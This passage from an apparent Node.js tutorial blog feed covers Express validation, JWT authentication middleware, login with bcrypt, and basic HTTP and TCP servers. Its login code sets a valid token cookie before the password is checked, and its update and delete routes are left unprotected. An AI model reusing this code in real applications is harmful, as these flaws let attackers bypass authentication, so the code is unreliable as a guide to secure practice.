    .withMessage(<span class="hljs-string">"Lastname must be between 2 and 50 characters"</span>),

  body(<span class="hljs-string">"username"</span>)
    .trim()
    .notEmpty()
    .withMessage(<span class="hljs-string">"Username is required"</span>)
    .isAlphanumeric()
    .withMessage(<span class="hljs-string">"Username must only contain letters and numbers"</span>)
    .isLength({ <span class="hljs-attr">min</span>: <span class="hljs-number">3</span>, <span class="hljs-attr">max</span>: <span class="hljs-number">30</span> })
    .withMessage(<span class="hljs-string">"Username must be between 3 and 30 characters"</span>),

  body(<span class="hljs-string">"email"</span>)
    .trim()
    .notEmpty()
    .withMessage(<span class="hljs-string">"Email is required"</span>)
    .isEmail()
    .withMessage(<span class="hljs-string">"Invalid email format"</span>),

  body(<span class="hljs-string">"password"</span>)
    .notEmpty()
    .withMessage(<span class="hljs-string">"Password is required"</span>)
    .isLength({ <span class="hljs-attr">min</span>: <span class="hljs-number">8</span> })
    .withMessage(<span class="hljs-string">"Password must be at least 8 characters long"</span>)
    .matches(<span class="hljs-regexp">/[A-Z]/</span>)
    .withMessage(<span class="hljs-string">"Password must contain at least one uppercase letter"</span>)
    .matches(<span class="hljs-regexp">/[a-z]/</span>)
    .withMessage(<span class="hljs-string">"Password must contain at least one lowercase letter"</span>)
    .matches(<span class="hljs-regexp">/[0-9]/</span>)
    .withMessage(<span class="hljs-string">"Password must contain at least one number"</span>)
    .matches(<span class="hljs-regexp">/[!@#$%^&amp;*]/</span>)
    .withMessage(<span class="hljs-string">"Password must contain at least one special character"</span>),
];
</code></pre>
<h4 id="heading-and-then-update-authroutejs">And then Update <code>authRoute.js</code>:</h4>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> express <span class="hljs-keyword">from</span> <span class="hljs-string">"express"</span>;
<span class="hljs-keyword">import</span> { createUser } <span class="hljs-keyword">from</span> <span class="hljs-string">"../controller/UserController.js"</span>;
<span class="hljs-keyword">import</span> { validateUser } <span class="hljs-keyword">from</span> <span class="hljs-string">"../validators/userValidator.js"</span>;

<span class="hljs-keyword">const</span> router = express.Router();

router.get(<span class="hljs-string">"/login"</span>, createUser);
router.post(<span class="hljs-string">"/createUser"</span>, validateUser, createUser);

<span class="hljs-keyword">export</span> { router <span class="hljs-keyword">as</span> authRouter };
</code></pre>
<h4 id="heading-8-middleware-for-authorization">8. <strong>Middleware for authorization</strong></h4>
<p>Create a middleware to authenticate the user. It check if the current user trying to perform the operation is autenticated user not.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// middleware/authMiddleware.js</span>
<span class="hljs-keyword">import</span> User <span class="hljs-keyword">from</span> <span class="hljs-string">"../models/userModel.js"</span>;
<span class="hljs-keyword">import</span> jwt <span class="hljs-keyword">from</span> <span class="hljs-string">"jsonwebtoken"</span>;
<span class="hljs-keyword">import</span> expressAsyncHandler <span class="hljs-keyword">from</span> <span class="hljs-string">"express-async-handler"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> authMiddleware = expressAsyncHandler(<span class="hljs-keyword">async</span> (req, res, next) =&gt; {
  <span class="hljs-keyword">let</span> token;
  <span class="hljs-keyword">if</span> (req?.headers?.authorization?.startsWith(<span class="hljs-string">"Bearer"</span>)) {
    token = req.headers.authorization.split(<span class="hljs-string">" "</span>)[<span class="hljs-number">1</span>];
    <span class="hljs-keyword">if</span> (token) {
      <span class="hljs-keyword">const</span> decoded = jwt.verify(token, process.env.JWT_SECRET);
      <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findById(decoded?.id);
      req.user = user;
      next();
    }
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">401</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"Not authorized token, Please login again"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
    });
  }
});
</code></pre>
<h4 id="heading-9-now-update-the-route">9. <strong>Now Update the Route</strong></h4>
<p>authMiddleware is kept at the createUser Route or you can add it on any route as per your requirement which is middleware to secure action that we need perform.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> express <span class="hljs-keyword">from</span> <span class="hljs-string">"express"</span>;
<span class="hljs-keyword">import</span> {
  createUser,
  deleteUser,
  getAllUsers,
  updateUser,
  userLogin,
} <span class="hljs-keyword">from</span> <span class="hljs-string">"../controller/UserController.js"</span>;
<span class="hljs-keyword">import</span> { authMiddleware } <span class="hljs-keyword">from</span> <span class="hljs-string">"../middleware/authMiddleware.js"</span>;

<span class="hljs-keyword">const</span> router = express.Router();

router.post(<span class="hljs-string">"/createUser"</span>, authMiddleware, createUser);
router.put(<span class="hljs-string">"/updateUser/:id"</span>, updateUser);
router.get(<span class="hljs-string">"/get-all"</span>, getAllUsers);
router.delete(<span class="hljs-string">"/delete/:id"</span>, deleteUser);
router.post(<span class="hljs-string">"/login"</span>, userLogin);

<span class="hljs-keyword">export</span> { router <span class="hljs-keyword">as</span> authRouter };
</code></pre>
<h4 id="heading-10-testing-the-server">10. <strong>Testing the Server</strong></h4>
<p>To test if your server is running, start it by running:</p>
<pre><code class="lang-javascript">npm run server
</code></pre>
<p>If everything is set up correctly, you should see:</p>
<pre><code class="lang-javascript">Server is listening on port http:<span class="hljs-comment">//localhost:5000</span>
</code></pre>
<h3 id="heading-for-user-login">For User Login</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// login user in UserController.js</span>
<span class="hljs-keyword">import</span> { generateToken } <span class="hljs-keyword">from</span> <span class="hljs-string">"../config/jwtToken.js"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> userLogin = expressAsyncHandler(<span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">const</span> { email, password } = req.body;
  <span class="hljs-comment">// findUser variable include all the information of that user with that email.</span>
  <span class="hljs-keyword">const</span> findUser = <span class="hljs-keyword">await</span> User.findOne({ email });
  <span class="hljs-keyword">const</span> accessToken = generateToken(findUser._id);
  <span class="hljs-comment">// ava store garam  token lai cookie ma</span>
  res.cookie(<span class="hljs-string">"accessToken"</span>, accessToken, {
    <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-attr">maxAge</span>: <span class="hljs-number">72</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>,
  });
  <span class="hljs-keyword">if</span> (findUser &amp;&amp; (<span class="hljs-keyword">await</span> findUser.isPasswordMatched(password))) {
    <span class="hljs-comment">// res.json(findUser);</span>
    res.json({
      <span class="hljs-comment">// ?. syntax is called optional chaining introduced on ecma script in 2020</span>
      <span class="hljs-attr">_id</span>: findUser?._id,
      <span class="hljs-attr">firstname</span>: findUser?.firstname,
      <span class="hljs-attr">lastname</span>: findUser?.lastname,
      <span class="hljs-attr">email</span>: findUser?.email,
      <span class="hljs-attr">mobile</span>: findUser?.mobile,
      <span class="hljs-attr">token</span>: generateToken(findUser?._id),
    });
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Invalid Credentials"</span>);
  }
});
</code></pre>
<p>For that we need to generate AccessToken using JWT for Authentication</p>
<pre><code class="lang-javascript"><span class="hljs-comment">//config/jwtToken.js</span>
<span class="hljs-keyword">import</span> jwt <span class="hljs-keyword">from</span> <span class="hljs-string">"jsonwebtoken"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> generateToken = <span class="hljs-function">(<span class="hljs-params">id</span>) =&gt;</span> {
  <span class="hljs-keyword">return</span> jwt.sign({ id }, process.env.JWT_SECRET, { <span class="hljs-attr">expiresIn</span>: <span class="hljs-string">"1d"</span> });
};
</code></pre>
<p>Also in models/UserModel.js add the following to encrypt and check password</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Yo code chai password lai encrypt garna lai</span>
userSchema.pre(<span class="hljs-string">"save"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">next</span>) </span>{
  <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">this</span>.isModified(<span class="hljs-string">"password"</span>)) {
    next();
  }
  <span class="hljs-keyword">const</span> salt = <span class="hljs-keyword">await</span> bcrypt.genSaltSync(<span class="hljs-number">10</span>);
  <span class="hljs-built_in">this</span>.password = <span class="hljs-keyword">await</span> bcrypt.hash(<span class="hljs-built_in">this</span>.password, salt);
});

<span class="hljs-comment">// password match vaxa ki nai vanera check garna</span>
userSchema.methods.isPasswordMatched = <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">enteredPassword</span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> bcrypt.compare(enteredPassword, <span class="hljs-built_in">this</span>.password);
};
</code></pre>
<p>Overall, which will look like this</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// models/userModel.js</span>
<span class="hljs-keyword">import</span> mongoose <span class="hljs-keyword">from</span> <span class="hljs-string">"mongoose"</span>;
<span class="hljs-keyword">import</span> bcrypt <span class="hljs-keyword">from</span> <span class="hljs-string">"bcryptjs"</span>;

<span class="hljs-keyword">var</span> userSchema = <span class="hljs-keyword">new</span> mongoose.Schema(
  {
    <span class="hljs-attr">firstname</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">min</span>: <span class="hljs-number">3</span>,
      <span class="hljs-attr">max</span>: <span class="hljs-number">20</span>,
    },
    <span class="hljs-attr">lastname</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">min</span>: <span class="hljs-number">3</span>,
      <span class="hljs-attr">max</span>: <span class="hljs-number">20</span>,
    },
    <span class="hljs-attr">username</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">unique</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">index</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">lowercase</span>: <span class="hljs-literal">true</span>,
    },
    <span class="hljs-attr">email</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">unique</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">lowercase</span>: <span class="hljs-literal">true</span>,
    },
    <span class="hljs-attr">password</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
    },
  },
  {
    <span class="hljs-attr">timestamps</span>: <span class="hljs-literal">true</span>,
  }
);

<span class="hljs-comment">// Yo code chai password lai encrypt garna lai</span>
userSchema.pre(<span class="hljs-string">"save"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">next</span>) </span>{
  <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">this</span>.isModified(<span class="hljs-string">"password"</span>)) {
    next();
  }
  <span class="hljs-keyword">const</span> salt = <span class="hljs-keyword">await</span> bcrypt.genSaltSync(<span class="hljs-number">10</span>);
  <span class="hljs-built_in">this</span>.password = <span class="hljs-keyword">await</span> bcrypt.hash(<span class="hljs-built_in">this</span>.password, salt);
});

<span class="hljs-comment">// password match vaxa ki nai vanera check garna</span>
userSchema.methods.isPasswordMatched = <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">enteredPassword</span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> bcrypt.compare(enteredPassword, <span class="hljs-built_in">this</span>.password);
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> mongoose.model(<span class="hljs-string">"User"</span>, userSchema);
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Day 3: HTTP Module and Building a Basic Server In Node.JS]]></title><description><![CDATA[1. Theory:

Introduction to Networking in Node.js

What is Networking?

Networking refers to the communication between a client and a server using network protocols like HTTP, TCP, UDP, etc.


What is HTTP?

HTTP (HyperText Transfer Protocol) is a pr...]]></description><link>https://article.kumarchaudhary.com.np/day-4-http-module-and-building-a-basic-server-in-nodejs</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/day-4-http-module-and-building-a-basic-server-in-nodejs</guid><category><![CDATA[Node.js]]></category><category><![CDATA[http]]></category><category><![CDATA[server]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Mon, 23 Sep 2024 16:53:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727110498372/390dbdc4-31ff-422f-9e92-28399b7f01d5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h4 id="heading-1-theory"><strong>1. Theory:</strong></h4>
<hr />
<h4 id="heading-introduction-to-networking-in-nodejs"><strong>Introduction to Networking in Node.js</strong></h4>
<ul>
<li><p><strong>What is Networking?</strong></p>
<ul>
<li>Networking refers to the communication between a client and a server using network protocols like <strong>HTTP</strong>, <strong>TCP</strong>, <strong>UDP</strong>, etc.</li>
</ul>
</li>
<li><p><strong>What is HTTP?</strong></p>
<ul>
<li><strong>HTTP (HyperText Transfer Protocol)</strong> is a protocol used for transferring data over the web. In Node.js, the <code>http</code> module allows you to create an HTTP server to listen for incoming requests and send responses to clients.</li>
</ul>
</li>
</ul>
<hr />
<h4 id="heading-understanding-http-protocols"><strong>Understanding HTTP Protocols</strong></h4>
<ul>
<li><p><strong>Request and Response Cycle:</strong></p>
<ul>
<li><p>The client (browser, Postman, etc.) sends an HTTP request to the server.</p>
</li>
<li><p>The server processes the request and sends back an HTTP response.</p>
</li>
</ul>
</li>
<li><p><strong>HTTP Methods:</strong></p>
<ul>
<li><p><strong>GET</strong>: Used to retrieve data from the server.</p>
</li>
<li><p><strong>POST</strong>: Used to send data to the server.</p>
</li>
<li><p><strong>PUT, DELETE</strong>: Other methods used for modifying or deleting data.</p>
</li>
</ul>
</li>
</ul>
<hr />
<h4 id="heading-basics-of-creating-an-http-server-in-nodejs"><strong>Basics of Creating an HTTP Server in Node.js</strong></h4>
<ul>
<li><p><strong>Using the</strong> <code>http</code> Module:</p>
<ul>
<li><p>The <code>http</code> module in Node.js allows you to create a simple web server that can handle incoming HTTP requests and send responses.</p>
</li>
<li><p>You can handle different <strong>routes</strong> (e.g., <code>/home</code>, <code>/about</code>) and different <strong>HTTP methods</strong> (e.g., GET, POST) to serve different types of content.</p>
</li>
</ul>
</li>
</ul>
<hr />
<h3 id="heading-tcp-transmission-control-protocol"><strong>TCP (Transmission Control Protocol):</strong></h3>
<ul>
<li><p><strong>Strengths</strong>:</p>
<ul>
<li><p><strong>Reliable</strong>: TCP ensures that all data is delivered in the correct order, with error checking and retransmission of lost packets.</p>
</li>
<li><p><strong>Connection-Oriented</strong>: A reliable connection is established between the two endpoints before data transfer begins, ensuring consistency.</p>
</li>
<li><p><strong>Use Case in Real-Time Communication</strong>:</p>
<ul>
<li><p><strong>Chat applications</strong>: Many real-time messaging apps, such as WhatsApp or Facebook Messenger, use TCP because reliability is crucial in text-based communication. Missing or out-of-order messages would disrupt the user experience.</p>
</li>
<li><p><strong>VoIP with fallback to TCP</strong>: In cases where network conditions are unreliable, some VoIP systems fall back to TCP for improved reliability.</p>
</li>
<li><p><strong>Video conferencing (with TCP fallback)</strong>: Some systems use TCP to ensure delivery, but usually at the cost of higher latency.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<pre><code class="lang-javascript">    <span class="hljs-keyword">const</span> net = <span class="hljs-built_in">require</span>(<span class="hljs-string">"net"</span>);
    <span class="hljs-keyword">const</span> readline = <span class="hljs-built_in">require</span>(<span class="hljs-string">"readline"</span>);

    <span class="hljs-comment">// Create a TCP server</span>
    <span class="hljs-keyword">const</span> server = net.createServer(<span class="hljs-function">(<span class="hljs-params">socket</span>) =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Client connected"</span>);
      socket.write(<span class="hljs-string">"Hello, TCP World!\n"</span>);

      <span class="hljs-comment">// Receive data from the client</span>
      socket.on(<span class="hljs-string">"data"</span>, <span class="hljs-function">(<span class="hljs-params">data</span>) =&gt;</span> {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Client says: <span class="hljs-subst">${data}</span>`</span>);
        socket.write(<span class="hljs-string">`You said: <span class="hljs-subst">${data}</span>`</span>); <span class="hljs-comment">// Echo the message back</span>
      });

      <span class="hljs-comment">// Close the connection</span>
      socket.on(<span class="hljs-string">"end"</span>, <span class="hljs-function">() =&gt;</span> {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Client disconnected"</span>);
      });

      <span class="hljs-comment">// Now allow input from the server terminal and send to client</span>
      <span class="hljs-keyword">const</span> rl = readline.createInterface({
        <span class="hljs-attr">input</span>: process.stdin,
        <span class="hljs-attr">output</span>: process.stdout,
      });

      rl.on(<span class="hljs-string">"line"</span>, <span class="hljs-function">(<span class="hljs-params">input</span>) =&gt;</span> {
        socket.write(<span class="hljs-string">`Server says: <span class="hljs-subst">${input}</span>\n`</span>);
      });
    });

    <span class="hljs-comment">// Listen on port 4000</span>
    server.listen(<span class="hljs-number">4000</span>, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"TCP server listening on port 4000"</span>);
    });
</code></pre>
<h3 id="heading-udp-user-datagram-protocol"><strong>UDP (User Datagram Protocol):</strong></h3>
<ul>
<li><p><strong>Strengths</strong>:</p>
<ul>
<li><p><strong>Fast and Low Latency</strong>: UDP is faster than TCP because it doesn’t establish a connection or handle packet retransmission, which makes it ideal for real-time communication where speed is more important than reliability.</p>
</li>
<li><p><strong>Connectionless</strong>: UDP sends packets without establishing a connection, so it is lightweight and better for real-time, high-speed transmissions.</p>
</li>
</ul>
</li>
<li><p><strong>Use Case in Real-Time Communication</strong>:</p>
<ul>
<li><p><strong>Voice over IP (VoIP)</strong>: Applications like Zoom, Skype, or Google Meet often use UDP for transmitting voice data, as low latency is critical, and occasional packet loss is acceptable.</p>
</li>
<li><p><strong>Online Gaming</strong>: Many real-time multiplayer games use UDP for transmitting game data, where speed and low latency are prioritized over perfect delivery. Lost packets are usually acceptable because real-time updates happen continuously.</p>
</li>
<li><p><strong>Live Streaming</strong>: UDP is used for real-time video and audio streaming because it can handle large amounts of data without waiting for acknowledgment of each packet, reducing latency.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-2-practical"><strong>2. Practical:</strong></h3>
<hr />
<h4 id="heading-task-1-create-a-basic-http-server"><strong>Task 1: Create a Basic HTTP Server</strong></h4>
<p><strong>What to do:</strong></p>
<ul>
<li>Create a simple Node.js HTTP server using the <code>http</code> module that listens on port 3000 and responds with a message.</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>);

<span class="hljs-comment">// Create an HTTP server</span>
<span class="hljs-keyword">const</span> server = http.createServer(<span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-comment">// Set the response header</span>
  res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/plain'</span> });

  <span class="hljs-comment">// Send a simple response</span>
  res.end(<span class="hljs-string">'Hello, World!\n'</span>);
});

<span class="hljs-comment">// The server listens on port 3000</span>
server.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Server is listening on port 3000...'</span>);
});
</code></pre>
<p><strong>Run the server:</strong></p>
<pre><code class="lang-javascript">node server.js
</code></pre>
<ul>
<li>Open the browser and go to <a target="_blank" href="http://localhost:3000"><code>http://localhost:3000</code></a>, and you will see <strong>"Hello, World!"</strong> displayed.</li>
</ul>
<hr />
<h4 id="heading-task-2-responding-with-static-content-html-and-json"><strong>Task 2: Responding with Static Content (HTML and JSON)</strong></h4>
<p><strong>What to do:</strong></p>
<ul>
<li>Modify the server to respond with <strong>HTML content</strong> when the request URL is <code>/home</code> and with <strong>JSON data</strong> when the request URL is <code>/api</code>.</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>);

<span class="hljs-comment">// Create an HTTP server</span>
<span class="hljs-keyword">const</span> server = http.createServer(<span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (req.url === <span class="hljs-string">'/home'</span>) {
    res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/html'</span> });
    res.end(<span class="hljs-string">'&lt;h1&gt;Welcome to the Home Page!&lt;/h1&gt;'</span>);
  } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (req.url === <span class="hljs-string">'/api'</span>) {
    res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span> });
    <span class="hljs-keyword">const</span> data = {
      <span class="hljs-attr">message</span>: <span class="hljs-string">'Hello, this is JSON data!'</span>,
      <span class="hljs-attr">status</span>: <span class="hljs-string">'success'</span>,
    };
    res.end(<span class="hljs-built_in">JSON</span>.stringify(data));
  } <span class="hljs-keyword">else</span> {
    res.writeHead(<span class="hljs-number">404</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/plain'</span> });
    res.end(<span class="hljs-string">'404 - Not Found'</span>);
  }
});

<span class="hljs-comment">// The server listens on port 3000</span>
server.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Server is listening on port 3000...'</span>);
});
</code></pre>
<p><strong>Test the server:</strong></p>
<ul>
<li><p>Go to <a target="_blank" href="http://localhost:3000/home"><code>http://localhost:3000/home</code></a>, and you will see the HTML content.</p>
</li>
<li><p>Go to <a target="_blank" href="http://localhost:3000/api"><code>http://localhost:3000/api</code></a>, and you will receive the JSON response.</p>
</li>
</ul>
<hr />
<h4 id="heading-task-3-handling-different-routes-and-http-methods-get-post"><strong>Task 3: Handling Different Routes and HTTP Methods (GET, POST)</strong></h4>
<p><strong>What to do:</strong></p>
<ul>
<li><p>Modify the server to handle two different routes:</p>
<ul>
<li><p><code>/about</code>: Responds with a simple HTML message using the GET method.</p>
</li>
<li><p><code>/submit</code>: Accepts POST requests and responds with the data that the client submits.</p>
</li>
</ul>
</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>);

<span class="hljs-comment">// Create an HTTP server</span>
<span class="hljs-keyword">const</span> server = http.createServer(<span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (req.method === <span class="hljs-string">'GET'</span> &amp;&amp; req.url === <span class="hljs-string">'/about'</span>) {
    res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/html'</span> });
    res.end(<span class="hljs-string">'&lt;h1&gt;About Us&lt;/h1&gt;&lt;p&gt;This is the about page.&lt;/p&gt;'</span>);
  } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (req.method === <span class="hljs-string">'POST'</span> &amp;&amp; req.url === <span class="hljs-string">'/submit'</span>) {
    <span class="hljs-keyword">let</span> body = <span class="hljs-string">''</span>;

    <span class="hljs-comment">// Collect the data sent by the client</span>
    req.on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-params">chunk</span> =&gt;</span> {
      body += chunk.toString();
    });

    <span class="hljs-comment">// Once all data is received, respond with it</span>
    req.on(<span class="hljs-string">'end'</span>, <span class="hljs-function">() =&gt;</span> {
      res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/plain'</span> });
      res.end(<span class="hljs-string">`Received data: <span class="hljs-subst">${body}</span>`</span>);
    });
  } <span class="hljs-keyword">else</span> {
    res.writeHead(<span class="hljs-number">404</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/plain'</span> });
    res.end(<span class="hljs-string">'404 - Not Found'</span>);
  }
});

<span class="hljs-comment">// The server listens on port 3000</span>
server.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Server is listening on port 3000...'</span>);
});
</code></pre>
<p><strong>Test the server:</strong></p>
<ul>
<li><p>Visit <a target="_blank" href="http://localhost:3000/about"><code>http://localhost:3000/about</code></a> to see the <strong>GET</strong> request in action.</p>
</li>
<li><p>Use Postman or <code>curl</code> to send a <strong>POST</strong> request with data to <a target="_blank" href="http://localhost:3000/submit"><code>http://localhost:3000/submit</code></a>.</p>
</li>
</ul>
<p>Example using <code>curl</code>:</p>
<pre><code class="lang-javascript">curl -X POST -d <span class="hljs-string">"name=John&amp;age=25"</span> http:<span class="hljs-comment">//localhost:3000/submit</span>
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="lang-javascript">Received data: name=John&amp;age=<span class="hljs-number">25</span>
</code></pre>
<hr />
<h3 id="heading-3-extended-practical-examples"><strong>3. Extended Practical Examples:</strong></h3>
<h4 id="heading-task-4-serve-a-static-html-file"><strong>Task 4: Serve a Static HTML File</strong></h4>
<p><strong>What to do:</strong></p>
<ul>
<li>Create an <strong>HTML file</strong> (e.g., <code>index.html</code>) and serve it using the <code>fs</code> module with the HTTP server.</li>
</ul>
<p><strong>Example:</strong></p>
<ol>
<li><p>Create an <code>index.html</code> file:</p>
<pre><code class="lang-xml"> <span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
 <span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Portfolio<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
       * {
         <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
         <span class="hljs-attribute">box-sizing</span>: border-box;
       }
       <span class="hljs-selector-tag">body</span> {
         <span class="hljs-attribute">font-family</span>: Arial, sans-serif;
         <span class="hljs-attribute">line-height</span>: <span class="hljs-number">1.6</span>;
         <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f4f4f4</span>;
         <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
       }
       <span class="hljs-selector-tag">header</span> {
         <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#333</span>;
         <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span> <span class="hljs-number">0</span>;
         <span class="hljs-attribute">text-align</span>: center;
       }
       <span class="hljs-selector-tag">header</span> <span class="hljs-selector-tag">h1</span> {
         <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0.5rem</span>;
       }
       <span class="hljs-selector-tag">header</span> <span class="hljs-selector-tag">p</span> {
         <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.1rem</span>;
       }
       <span class="hljs-selector-tag">nav</span> {
         <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#444</span>;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span>;
         <span class="hljs-attribute">text-align</span>: center;
       }
       <span class="hljs-selector-tag">nav</span> <span class="hljs-selector-tag">a</span> {
         <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
         <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span> <span class="hljs-number">15px</span>;
         <span class="hljs-attribute">text-decoration</span>: none;
         <span class="hljs-attribute">font-weight</span>: bold;
       }
       <span class="hljs-selector-tag">nav</span> <span class="hljs-selector-tag">a</span><span class="hljs-selector-pseudo">:hover</span> {
         <span class="hljs-attribute">text-decoration</span>: underline;
       }
       <span class="hljs-selector-class">.container</span> {
         <span class="hljs-attribute">max-width</span>: <span class="hljs-number">1100px</span>;
         <span class="hljs-attribute">margin</span>: <span class="hljs-number">2rem</span> auto;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span> <span class="hljs-number">2rem</span>;
       }
       <span class="hljs-selector-class">.about</span>,
       <span class="hljs-selector-class">.projects</span> {
